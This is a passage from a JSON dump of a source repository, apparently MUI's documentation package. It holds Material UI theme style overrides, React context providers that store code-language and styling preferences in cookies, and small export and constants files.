 color: (theme.vars || theme).palette.primary[300],\n                  },\n                },\n              }),\n            ],\n          },\n          {\n            // @ts-ignore internal repo module augmentation issue\n            props: { variant: 'link' },\n            style: ({ theme }) => ({\n              marginBottom: 1,\n              fontSize: theme.typography.pxToRem(14),\n              fontWeight: theme.typography.fontWeightBold,\n              color: (theme.vars || theme).palette.primary[600],\n              '&:hover': {\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n              },\n              ...theme.applyDarkStyles({\n                color: (theme.vars || theme).palette.primary[300],\n                '&:hover': {\n                  backgroundColor: alpha(theme.palette.primary[800], 0.3),\n                },\n              }),\n            }),\n          },\n        ],\n      },\n      MuiIconButton: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            borderRadius: theme.shape.borderRadius,\n            transition: 'all 100ms ease-in',\n            '&:hover': {\n              borderColor: (theme.vars || theme).palette.grey[300],\n              background: (theme.vars || theme).palette.grey[50],\n              ...theme.applyDarkStyles({\n                borderColor: (theme.vars || theme).palette.primaryDark[600],\n                background: alpha(theme.palette.primaryDark[700], 0.8),\n              }),\n            },\n            '&:active': {\n              background: (theme.vars || theme).palette.grey[100],\n              ...theme.applyDarkStyles({\n                background: theme.palette.primaryDark[800],\n              }),\n            },\n            ...(ownerState.size === 'small' && {\n              height: 32,\n              width: 32,\n              '& .MuiSvgIcon-root': {\n                fontSize: defaultTheme.typography.pxToRem(18),\n              },\n            }),\n          }),\n        },\n        variants: [\n          {\n            props: { color: 'primary' },\n            style: ({ theme }) => [\n              {\n                color: (theme.vars || theme).palette.primary.main,\n                backgroundColor: alpha(theme.palette.primaryDark[50], 0.1),\n                border: `1px solid ${(theme.vars || theme).palette.primaryDark[100]}`,\n                boxShadow: `#FFF 0 1px 0 inset, ${alpha(theme.palette.grey[200], 0.4)} 0 -1px 0 inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                '&:hover': {\n                  borderColor: (theme.vars || theme).palette.grey[300],\n                  background: (theme.vars || theme).palette.grey[50],\n                  boxShadow: `${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                },\n                '&:active': {\n                  background: (theme.vars || theme).palette.grey[100],\n                },\n              },\n              theme.applyDarkStyles({\n                color: (theme.vars || theme).palette.primary[300],\n                borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n                backgroundColor: alpha(theme.palette.primaryDark[700], 0.2),\n                boxShadow: `${alpha(theme.palette.primaryDark[600], 0.3)} 0 1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                '&:hover': {\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                  background: alpha(theme.palette.primaryDark[700], 0.8),\n                  boxShadow: `${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                },\n                '&:active': {\n                  background: theme.palette.primaryDark[800],\n                },\n              }),\n            ],\n          },\n          {\n            props: { color: 'info' },\n            style: ({ theme }) => [\n              {\n                color: (theme.vars || theme).palette.text.secondary,\n                backgroundColor: alpha(theme.palette.primaryDark[50], 0.1),\n                border: `1px solid ${(theme.vars || theme).palette.primaryDark[100]}`,\n                boxShadow: `#FFF 0 1px 0 inset, ${alpha(theme.palette.grey[200], 0.4)} 0 -1px 0 inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                '&:hover': {\n                  color: (theme.vars || theme).palette.text.primary,\n                  borderColor: (theme.vars || theme).palette.grey[300],\n                  background: (theme.vars || theme).palette.grey[50],\n                  boxShadow: `${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                },\n                '&:active': {\n                  background: (theme.vars || theme).palette.grey[100],\n                },\n              },\n              theme.applyDarkStyles({\n                borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n                backgroundColor: alpha(theme.palette.primaryDark[700], 0.2),\n                boxShadow: `${alpha(theme.palette.primaryDark[600], 0.3)} 0 1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                '&:hover': {\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                  background: alpha(theme.palette.primaryDark[700], 0.8),\n                  boxShadow: `${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                },\n                '&:active': {\n                  background: theme.palette.primaryDark[800],\n                },\n              }),\n            ],\n          },\n        ],\n      },\n      MuiMenu: {\n        styleOverrides: {\n          paper: ({ theme }) => [\n            {\n              padding: '6px',\n              minWidth: 160,\n              color: (theme.vars || theme).palette.text.secondary,\n              backgroundImage: 'none',\n              border: '1px solid',\n              backgroundColor: (theme.vars || theme).palette.background.paper,\n              borderColor: (theme.vars || theme).palette.grey[200],\n              '& .MuiMenu-list': {\n                display: 'flex',\n                flexDirection: 'column',\n                gap: '2px',\n                '& .MuiDivider-root': {\n                  margin: '4px -8px 4px -8px',\n                },\n              },\n              '& .MuiMenuItem-root': {\n                padding: '6px 8px',\n                borderRadius: '6px',\n                fontSize: theme.typography.pxToRem(14),\n                fontWeight: theme.typography.fontWeightMedium,\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.grey[100],\n                  color: (theme.vars || theme).palette.text.primary,\n                },\n                '&:focus-visible': {\n                  outline: 'none',\n                },\n                '&.Mui-selected': {\n                  fontWeight: 500,\n                  color: (theme.vars || theme).palette.primary[600],\n                  backgroundColor: alpha(theme.palette.primary[100], 0.6),\n                },\n              },\n            },\n            theme.applyDarkStyles({\n              backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n              borderColor: (theme.vars || theme).palette.primaryDark[700],\n              '& .MuiMenuItem-root': {\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                },\n                '&.Mui-selected': {\n                  color: (theme.vars || theme).palette.primary[200],\n                  backgroundColor: alpha(theme.palette.primary[900], 0.4),\n                },\n              },\n            }),\n          ],\n        },\n      },\n      MuiPopover: {\n        styleOverrides: {\n          paper: ({ theme }) => ({\n            boxShadow: '0px 4px 20px rgba(170, 180, 190, 0.3)',\n            ...theme.applyDarkStyles({\n              boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.5)',\n            }),\n          }),\n        },\n      },\n      MuiDivider: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderColor: (theme.vars || theme).palette.divider,\n          }),\n        },\n      },\n      MuiLink: {\n        defaultProps: {\n          underline: 'none',\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            display: 'inline-flex',\n            alignItems: 'center',\n            fontWeight: theme.typography.fontWeightSemiBold,\n            '&.MuiTypography-body1 > svg': {\n              marginTop: 2,\n            },\n            '& svg:last-child': {\n              marginLeft: 2,\n            },\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n              outlineOffset: 2,\n            },\n          }),\n        },\n        variants: [\n          {\n            props: { color: 'primary' },\n            style: ({ theme }) => [\n              {\n                color: (theme.vars || theme).palette.primary[600],\n                '&:hover': {\n                  color: (theme.vars || theme).palette.primary[700],\n                },\n              },\n              theme.applyDarkStyles({\n                color: (theme.vars || theme).palette.primary[300],\n                '&:hover': {\n                  color: (theme.vars || theme).palette.primary[200],\n                },\n              }),\n            ],\n          },\n        ],\n      },\n      MuiChip: {\n        styleOverrides: {\n          root: ({ ownerState: { color, variant }, theme }) => ({\n            fontWeight: theme.typography.fontWeightSemiBold,\n            paddingBottom: 0.2,\n            ...(variant === 'outlined' &&\n              color === 'default' && {\n                backgroundColor: alpha(theme.palette.grey[50], 0.5),\n                color: (theme.vars || theme).palette.grey[900],\n                borderColor: (theme.vars || theme).palette.grey[200],\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.grey[100],\n                  color: (theme.vars || theme).palette.grey[900],\n                },\n                ...theme.applyDarkStyles({\n                  backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n                  color: (theme.vars || theme).palette.grey[300],\n                  borderColor: alpha(theme.palette.primaryDark[500], 0.5),\n                  '&:hover': {\n                    color: (theme.vars || theme).palette.grey[300],\n                    backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                  },\n                }),\n              }),\n            ...(variant === 'outlined' &&\n              color === 'info' && {\n                backgroundColor: alpha(theme.palette.grey[50], 0.5),\n                color: (theme.vars || theme).palette.grey[900],\n                borderColor: (theme.vars || theme).palette.grey[200],\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.grey[300],\n                  backgroundColor: alpha(theme.palette.primaryDark[700], 0.5),\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                }),\n              }),\n            ...(variant === 'outlined' &&\n              color === 'primary' && {\n                borderColor: (theme.vars || theme).palette.primary[100],\n                backgroundColor: alpha(theme.palette.primary[100], 0.2),\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[300],\n                  borderColor: alpha(theme.palette.primary[500], 0.2),\n                  backgroundColor: alpha(theme.palette.primary[700], 0.2),\n                }),\n              }),\n            ...(variant === 'outlined' &&\n              color === 'success' && {\n                borderColor: (theme.vars || theme).palette.success[100],\n                backgroundColor: (theme.vars || theme).palette.success[50],\n                color: (theme.vars || theme).palette.success[900],\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.success[300],\n                  borderColor: alpha(theme.palette.success[300], 0.2),\n                  background: alpha(theme.palette.success[800], 0.2),\n                }),\n              }),\n            ...(variant === 'filled' && {\n              ...(color === 'default' && {\n                border: '1px solid transparent',\n                color: (theme.vars || theme).palette.primary[700],\n                backgroundColor: alpha(theme.palette.primary[100], 0.5),\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                },\n                ...theme.applyDarkStyles({\n                  color: '#fff',\n                  backgroundColor: alpha(theme.palette.primaryDark[500], 0.8),\n                  '&:hover': {\n                    backgroundColor: (theme.vars || theme).palette.primaryDark[600],\n                  },\n                }),\n              }),\n              ...(color === 'primary' && {\n                color: (theme.vars || theme).palette.primary[600],\n                backgroundColor: alpha(theme.palette.primary[100], 0.4),\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                },\n                '& .MuiChip-deleteIcon': {\n                  color: (theme.vars || theme).palette.primary[600],\n                  '&:hover': {\n                    color: (theme.vars || theme).palette.primary[700],\n                  },\n                },\n                '&.Mui-focusVisible': {\n                  backgroundColor: (theme.vars || theme).palette.primary[200],\n                },\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[100],\n                  backgroundColor: alpha(theme.palette.primary[800], 0.5),\n                  '&:hover': {\n                    backgroundColor: alpha(theme.palette.primary[900], 0.5),\n                  },\n                  '& .MuiChip-deleteIcon': {\n                    color: (theme.vars || theme).palette.primary[100],\n                    '&:hover': {\n                      color: (theme.vars || theme).palette.primary[50],\n                    },\n                  },\n                }),\n              }),\n            }),\n            // for labelling product in the search\n            // @ts-ignore internal repo module augmentation issue\n            ...(variant === 'light' && {\n              ...(color === 'default' && {\n                color: (theme.vars || theme).palette.primary[700],\n                backgroundColor: alpha(theme.palette.primary[100], 0.3),\n                ...theme.applyDarkStyles({\n                  color: (theme.vars || theme).palette.primary[200],\n                  backgroundColor: alpha(theme.palette.primaryDark[700], 0.5),\n                }),\n              }),\n              ...(color === 'warning' && {\n                color: (theme.vars || theme).palette.warning[900],\n                backgroundColor: (theme.vars || theme).palette.warning[100],\n                ...theme.applyDarkStyles({\n                  color: '#fff',\n                  backgroundColor: (theme.vars || theme).palette.warning[900],\n                }),\n              }),\n              ...(color === 'success' && {\n                color: (theme.vars || theme).palette.success[900],\n                backgroundColor: (theme.vars || theme).palette.success[100],\n                ...theme.applyDarkStyles({\n                  color: '#fff',\n                  backgroundColor: (theme.vars || theme).palette.success[900],\n                }),\n              }),\n            }),\n          }),\n        },\n      },\n      MuiList: {\n        styleOverrides: {\n          root: {\n            padding: 0,\n          },\n        },\n      },\n      MuiListItemButton: {\n        styleOverrides: {\n          root: ({ theme }) => [\n            {\n              padding: '8px',\n              textTransform: 'none',\n              fontWeight: 500,\n              fontSize: theme.typography.pxToRem(14),\n              color: theme.palette.grey[700],\n              borderRadius: 0,\n              '&:hover': {\n                backgroundColor: theme.palette.grey[50],\n              },\n              '&.Mui-selected': {\n                borderRadius: 10,\n                border: '1px solid',\n                color: (theme.vars || theme).palette.primary[500],\n                borderColor: `${(theme.vars || theme).palette.primary[500]} !important`,\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                },\n              },\n            } as const,\n            theme.applyDarkStyles({\n              color: theme.palette.grey[300],\n              '&:hover': {\n                backgroundColor: alpha(theme.palette.primaryDark[700], 0.4),\n              },\n              '&.Mui-selected': {\n                color: '#fff',\n                borderColor: `${(theme.vars || theme).palette.primary[700]} !important`,\n                backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primaryDark[600],\n                },\n              },\n            }),\n          ],\n        },\n      },\n      MuiSelect: {\n        defaultProps: {\n          IconComponent: ArrowDropDownRounded,\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            '& .MuiSelect-filled ~ .MuiSelect-icon': {\n              top: 'calc(50% - .25em)',\n            },\n            variants: [\n              {\n                props: { variant: 'outlined' },\n                style: {\n                  backgroundColor: alpha(theme.palette.primaryDark[50], 0.1),\n                  '& .MuiOutlinedInput-notchedOutline': {\n                    border: `1px solid ${(theme.vars || theme).palette.primaryDark[100]}`,\n                    boxShadow: `#FFF 0 1px 0 inset, ${alpha(theme.palette.grey[200], 0.4)} 0 -1px 0 inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                  },\n                  '&:not(.Mui-focused):hover': {\n                    background: (theme.vars || theme).palette.grey[50],\n                    '& .MuiOutlinedInput-notchedOutline': {\n                      borderColor: (theme.vars || theme).palette.grey[300],\n                      boxShadow: `${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                    },\n                  },\n                  ...theme.applyDarkStyles({\n                    color: (theme.vars || theme).palette.primary[300],\n                    backgroundColor: alpha(theme.palette.primaryDark[700], 0.2),\n                    '& .MuiOutlinedInput-notchedOutline': {\n                      borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n                      boxShadow: `${alpha(theme.palette.primaryDark[600], 0.3)} 0 1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 -1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                    },\n                    '&:not(.Mui-focused):hover': {\n                      background: alpha(theme.palette.primaryDark[700], 0.8),\n                      '& .MuiOutlinedInput-notchedOutline': {\n                        borderColor: (theme.vars || theme).palette.primaryDark[600],\n                        boxShadow: `${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                      },\n                    },\n                  }),\n                },\n              },\n              {\n                props: { size: 'small' },\n                style: {\n                  minHeight: 32,\n                  '& [role=\"combobox\"]': {\n                    paddingBlock: 5,\n                  },\n                },\n              },\n            ],\n          }),\n        },\n      },\n      MuiTab: {\n        defaultProps: {\n          disableTouchRipple: true,\n        },\n      },\n      MuiPaper: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => [\n            {\n              backgroundImage: 'none',\n              backgroundColor: '#fff',\n              '&[href]': {\n                textDecorationLine: 'none',\n              },\n              transition: theme.transitions.create(['border', 'box-shadow'], {\n                duration: theme.transitions.duration.shortest,\n              }),\n              ...(ownerState.variant === 'outlined' && {\n                display: 'block',\n                borderColor: (theme.vars || theme).palette.grey[100],\n                '&[href]': {\n                  textDecorationLine: 'none',\n                  boxShadow: `hsl(200, 0%, 100%) 0 2px 0 inset, ${alpha(theme.palette.grey[100], 0.3)} 0 -2px 0 inset, ${alpha(theme.palette.grey[200], 0.5)} 0 1px 2px 0`,\n                  '&:hover': {\n                    borderColor: (theme.vars || theme).palette.primary[200],\n                    boxShadow: `0px 2px 8px ${(theme.vars || theme).palette.primary[100]}`,\n                  },\n                  '&:focus-visible': {\n                    outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n                    outlineOffset: 2,\n                  },\n                },\n                ':is(a&), :is(button&)': {\n                  '&:hover': {\n                    borderColor: (theme.vars || theme).palette.primary[200],\n                    boxShadow: `0px 4px 16px ${(theme.vars || theme).palette.grey[200]}`,\n                  },\n                },\n              }),\n            },\n            theme.applyDarkStyles({\n              backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n              ...(ownerState.variant === 'outlined' && {\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n                backgroundColor: alpha(theme.palette.primaryDark[800], 0.6),\n                '&[href]': {\n                  textDecorationLine: 'none',\n                  boxShadow: `${alpha(theme.palette.primaryDark[700], 0.4)} 0 2px 0 inset, ${(theme.vars || theme).palette.common.black} 0 -2px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 2px 0`,\n                  '&:hover': {\n                    borderColor: alpha(theme.palette.primary[600], 0.5),\n                    boxShadow: `0px 2px 8px ${alpha(theme.palette.primary[900], 0.6)}`,\n                  },\n                },\n                ':is(a&), :is(button&)': {\n                  '&:hover': {\n                    boxShadow: `0px 4px 24px ${(theme.vars || theme).palette.common.black}`,\n                  },\n                },\n              }),\n            }),\n          ],\n        },\n      },\n      MuiTableCell: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            padding: theme.spacing(1, 2),\n            borderColor: (theme.vars || theme).palette.divider,\n            ...(ownerState.variant === 'head' && {\n              color: (theme.vars || theme).palette.text.primary,\n              fontWeight: 700,\n            }),\n            ...(ownerState.variant === 'body' && {\n              color: (theme.vars || theme).palette.text.secondary,\n            }),\n          }),\n        },\n      },\n      MuiToggleButtonGroup: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            backgroundColor: '#fff',\n            ...theme.applyDarkStyles({\n              backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n            }),\n          }),\n        },\n      },\n      MuiToggleButton: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => [\n            {\n              textTransform: 'none',\n              fontWeight: theme.typography.fontWeightMedium,\n              color: (theme.vars || theme).palette.text.secondary,\n              borderColor: theme.palette.grey[200],\n              ...(ownerState.size === 'small' && {\n                padding: '0.375rem 0.75rem',\n              }),\n              '&.Mui-selected': {\n                color: (theme.vars || theme).palette.primary[700],\n                borderColor: `${(theme.vars || theme).palette.primary[200]} !important`,\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                },\n              },\n            } as const,\n            theme.applyDarkStyles({\n              borderColor: theme.palette.primaryDark[700],\n              '&:hover': {\n                backgroundColor: alpha(theme.palette.primaryDark[600], 0.2),\n              },\n              '&.Mui-selected': {\n                color: (theme.vars || theme).palette.primary[200],\n                borderColor: `${(theme.vars || theme).palette.primary[800]} !important`,\n                backgroundColor: alpha(theme.palette.primary[900], 0.4),\n                '&:hover': {\n                  backgroundColor: alpha(theme.palette.primary[900], 0.8),\n                  borderColor: `${(theme.vars || theme).palette.primary[400]} !important`,\n                },\n              },\n            }),\n          ],\n        },\n      },\n      MuiTooltip: {\n        defaultProps: {\n          arrow: true,\n        },\n        styleOverrides: {\n          tooltip: ({ theme }) => ({\n            padding: '6px 8px',\n            borderRadius: 6,\n            backgroundColor: (theme.vars || theme).palette.grey[800],\n            '& .MuiTooltip-arrow': {\n              color: (theme.vars || theme).palette.grey[800],\n            },\n          }),\n        },\n      },\n      MuiSwitch: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            width: 32,\n            height: 20,\n            padding: 0,\n            borderRadius: 10,\n            '&:has(input:focus-visible)': {\n              outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n              outlineOffset: 2,\n            },\n            '& .MuiSwitch-switchBase': {\n              '&.Mui-checked': {\n                transform: 'translateX(12px)',\n                color: '#fff',\n              },\n            },\n          }),\n          switchBase: {\n            height: 20,\n            width: 20,\n            padding: 0,\n            color: '#fff',\n            '&.Mui-checked + .MuiSwitch-track': {\n              opacity: 1,\n            },\n          },\n          track: ({ theme }) => ({\n            opacity: 1,\n            borderRadius: 32,\n            backgroundColor: theme.palette.grey[400],\n            ...theme.applyDarkStyles({\n              backgroundColor: theme.palette.grey[800],\n            }),\n          }),\n          thumb: {\n            flexShrink: 0,\n            width: '14px',\n            height: '14px',\n          },\n        },\n      },\n      MuiSnackbar: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            '& .MuiSnackbarContent-root': {\n              backgroundColor: '#FFF',\n              color: (theme.vars || theme).palette.text.primary,\n              fontWeight: theme.typography.fontWeightMedium,\n              border: `1px solid ${(theme.vars || theme).palette.divider}`,\n              boxShadow: `0 4px 16px ${alpha(theme.palette.grey[400], 0.2)}`,\n              ...theme.applyDarkStyles({\n                backgroundColor: (theme.vars || theme).palette.primaryDark[800],\n                boxShadow: '0 4px 16px hsl(0, 100%, 1%)',\n              }),\n            },\n          }),\n        },\n      },\n      MuiPaginationItem: {\n        styleOverrides: {\n          root: ({ theme }) => [\n            {\n              textTransform: 'none',\n              fontWeight: theme.typography.fontWeightSemiBold,\n              color: theme.palette.grey[700],\n              borderColor: theme.palette.grey[200],\n              borderRadius: '8px',\n              '&.Mui-selected': {\n                color: (theme.vars || theme).palette.primary[500],\n                borderColor: `${(theme.vars || theme).palette.primary[500]} !important`,\n                backgroundColor: (theme.vars || theme).palette.primary[50],\n                '&:hover': {\n                  backgroundColor: (theme.vars || theme).palette.primary[100],\n                },\n              },\n            } as const,\n            theme.applyDarkStyles({\n              color: theme.palette.grey[200],\n              borderColor: theme.palette.primaryDark[700],\n              '&.Mui-selected': {\n                color: theme.palette.primary[100],\n                borderColor: `${(theme.vars || theme).palette.primary[700]} !important`,\n                backgroundColor: alpha(theme.palette.primary[900], 0.5),\n                '&:hover': {\n                  backgroundColor: alpha(theme.palette.primary[900], 0.8),\n                },\n              },\n            }),\n          ],\n        },\n      },\n      MuiCssBaseline: {\n        defaultProps: {\n          enableColorScheme: true,\n        },\n        styleOverrides: {\n          html: {\n            overflowY: 'scroll',\n            // TODO add support for it,\n            // https://github.com/mui/material-ui/issues/40748\n            // scrollbarGutter: 'stable',\n          },\n        },\n      },\n      MuiCard: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            ...(ownerState.variant === 'elevation' && {\n              border: '1px solid',\n              borderColor: (theme.vars || theme).palette.grey[100],\n              boxShadow: `${alpha(theme.palette.grey[200], 0.4)} 0 -1px 0 inset, ${alpha(theme.palette.grey[300], 0.5)} 0 1px 8px 0`,\n              ...theme.applyDarkStyles({\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n                boxShadow: `${(theme.vars || theme).palette.common.black} 0 -1px 0 inset, ${(theme.vars || theme).palette.common.black} 0 1px 8px 0`,\n              }),\n            }),\n          }),\n        },\n      },\n    },\n  };\n}\n\nexport const brandingDarkTheme = createTheme({\n  ...getDesignTokens('dark'),\n  ...getThemedComponents(),\n});\n\nexport const brandingLightTheme = createTheme({\n  ...getDesignTokens('light'),\n  ...getThemedComponents(),\n});\n"
  },
  {
    "path": "packages/mui-docs/src/branding/index.ts",
    "content": "export * from './brandingTheme';\nexport * from './BrandingProvider';\nexport * from './BrandingCssVarsProvider';\n"
  },
  {
    "path": "packages/mui-docs/src/codeStyling/codeStyling.tsx",
    "content": "import * as React from 'react';\nimport { CODE_STYLING } from '../constants';\nimport { getCookie } from '../helpers/index';\n\ninterface CodeStylingContextValue {\n  codeStyling: string;\n  noSsrCodeStyling?: string;\n  setCodeStyling: React.Dispatch<React.SetStateAction<string>>;\n}\n\nconst CodeStylingContext = React.createContext<CodeStylingContextValue>({\n  codeStyling: CODE_STYLING.SYSTEM,\n  setCodeStyling: () => {},\n});\nif (process.env.NODE_ENV !== 'production') {\n  CodeStylingContext.displayName = 'CodeStyling';\n}\n\nfunction useFirstRender() {\n  const firstRenderRef = React.useRef(true);\n  React.useEffect(() => {\n    firstRenderRef.current = false;\n  }, []);\n\n  return firstRenderRef.current;\n}\n\nexport function CodeStylingProvider(props: { children: React.ReactNode }) {\n  const { children } = props;\n\n  const [codeStyling, setCodeStyling] = React.useState(CODE_STYLING.SYSTEM);\n\n  const navigatedCodeStyling = React.useMemo(() => {\n    const navigatedCodeMatch =\n      typeof window !== 'undefined' ? window.location.hash.match(/\\.(js|tsx)$/) : null;\n\n    if (navigatedCodeMatch === null) {\n      return undefined;\n    }\n\n    if (typeof window !== 'undefined') {\n      if (window.location.hash.includes('tailwind-')) {\n        return CODE_STYLING.TAILWIND;\n      }\n      if (window.location.hash.includes('css-')) {\n        return CODE_STYLING.CSS;\n      }\n      if (window.location.hash.includes('system-')) {\n        return CODE_STYLING.SYSTEM;\n      }\n    }\n\n    return undefined;\n  }, []);\n\n  const persistedCodeStyling = React.useMemo(() => {\n    if (typeof window === 'undefined') {\n      return undefined;\n    }\n    return getCookie('codeStyling');\n  }, []);\n  const isFirstRender = useFirstRender();\n\n  // We initialize from navigation or cookies. on subsequent renders the store is the truth\n  const noSsrCodeStyling =\n    isFirstRender === true\n      ? navigatedCodeStyling || persistedCodeStyling || codeStyling\n      : codeStyling;\n\n  React.useEffect(() => {\n    if (codeStyling !== noSsrCodeStyling) {\n      setCodeStyling(noSsrCodeStyling);\n    }\n  }, [codeStyling, noSsrCodeStyling]);\n\n  React.useEffect(() => {\n    document.cookie = `codeStyling=${codeStyling};path=/;max-age=31536000`;\n  }, [codeStyling]);\n\n  const contextValue = React.useMemo(() => {\n    return { codeStyling, noSsrCodeStyling, setCodeStyling };\n  }, [codeStyling, noSsrCodeStyling]);\n\n  return <CodeStylingContext.Provider value={contextValue}>{children}</CodeStylingContext.Provider>;\n}\n\nexport function useCodeStyling() {\n  return React.useContext(CodeStylingContext).codeStyling;\n}\n\nexport function useNoSsrCodeStyling() {\n  return React.useContext(CodeStylingContext).noSsrCodeStyling;\n}\n\nexport function useSetCodeStyling() {\n  return React.useContext(CodeStylingContext).setCodeStyling;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/codeStyling/index.ts",
    "content": "export {\n  CodeStylingProvider,\n  useCodeStyling,\n  useNoSsrCodeStyling,\n  useSetCodeStyling,\n} from './codeStyling';\n"
  },
  {
    "path": "packages/mui-docs/src/codeVariant/codeVariant.tsx",
    "content": "import * as React from 'react';\nimport { CODE_VARIANTS } from '../constants';\nimport { getCookie } from '../helpers/index';\n\ninterface CodeVariantContextValue {\n  codeVariant: string;\n  noSsrCodeVariant?: string;\n  setCodeVariant: React.Dispatch<React.SetStateAction<string>>;\n}\n\nconst CodeVariantContext = React.createContext<CodeVariantContextValue>({\n  codeVariant: CODE_VARIANTS.TS,\n  setCodeVariant: () => {},\n});\nif (process.env.NODE_ENV !== 'production') {\n  CodeVariantContext.displayName = 'CodeVariant';\n}\n\nfunction useFirstRender() {\n  const firstRenderRef = React.useRef(true);\n  React.useEffect(() => {\n    firstRenderRef.current = false;\n  }, []);\n\n  return firstRenderRef.current;\n}\n\nexport function CodeVariantProvider(props: { children: React.ReactNode }) {\n  const { children } = props;\n\n  const [codeVariant, setCodeVariant] = React.useState(CODE_VARIANTS.TS);\n\n  const navigatedCodeVariant = React.useMemo(() => {\n    const navigatedCodeVariantMatch =\n      typeof window !== 'undefined' ? window.location.hash.match(/\\.(js|tsx)$/) : null;\n\n    if (navigatedCodeVariantMatch === null) {\n      return undefined;\n    }\n\n    return navigatedCodeVariantMatch[1] === 'tsx' ? CODE_VARIANTS.TS : CODE_VARIANTS.JS;\n  }, []);\n\n  const persistedCodeVariant = React.useMemo(() => {\n    if (typeof window === 'undefined') {\n      return undefined;\n    }\n    return getCookie('codeVariant');\n  }, []);\n  const isFirstRender = useFirstRender();\n\n  // We initialize from navigation or cookies. on subsequent renders the store is the truth\n  const noSsrCodeVariant =\n    isFirstRender === true\n      ? navigatedCodeVariant || persistedCodeVariant || codeVariant\n      : codeVariant;\n\n  React.useEffect(() => {\n    if (codeVariant !== noSsrCodeVariant) {\n      setCodeVariant(noSsrCodeVariant);\n    }\n  }, [codeVariant, noSsrCodeVariant]);\n\n  React.useEffect(() => {\n    document.cookie = `codeVariant=${codeVariant};path=/;max-age=31536000`;\n  }, [codeVariant]);\n\n  const contextValue = React.useMemo(() => {\n    return { codeVariant, noSsrCodeVariant, setCodeVariant };\n  }, [codeVariant, noSsrCodeVariant]);\n\n  return <CodeVariantContext.Provider value={contextValue}>{children}</CodeVariantContext.Provider>;\n}\n\nexport function useCodeVariant() {\n  return React.useContext(CodeVariantContext).codeVariant;\n}\n\nexport function useNoSsrCodeVariant() {\n  return React.useContext(CodeVariantContext).noSsrCodeVariant;\n}\n\nexport function useSetCodeVariant() {\n  return React.useContext(CodeVariantContext).setCodeVariant;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/codeVariant/index.ts",
    "content": "export {\n  CodeVariantProvider,\n  useCodeVariant,\n  useNoSsrCodeVariant,\n  useSetCodeVariant,\n} from './codeVariant';\n"
  },
  {
    "path": "packages/mui-docs/src/constants/constants.ts",
    "content": "export const CODE_VARIANTS = {\n  JS: 'JS',\n  TS: 'TS',\n};\n\nexport const CODE_STYLING = {\n  SYSTEM: 'MUI System',\n  TAILWIND: 'Tailwind',\n  CSS: 'CSS',\n};\n\n// Valid languages to use in production\nexport const LANGUAGES_LABEL = [\n  {\n    code: 'en',\n    text: 'English',\n  },\n];\n"
  },
  {
    "path": "packages/mui-docs/src/constants/index.ts",
    "content": "export * from './constants';\n"
  },
  {
    "path": "packages/mui-docs/src/findActivePage/findActivePage.test.js",
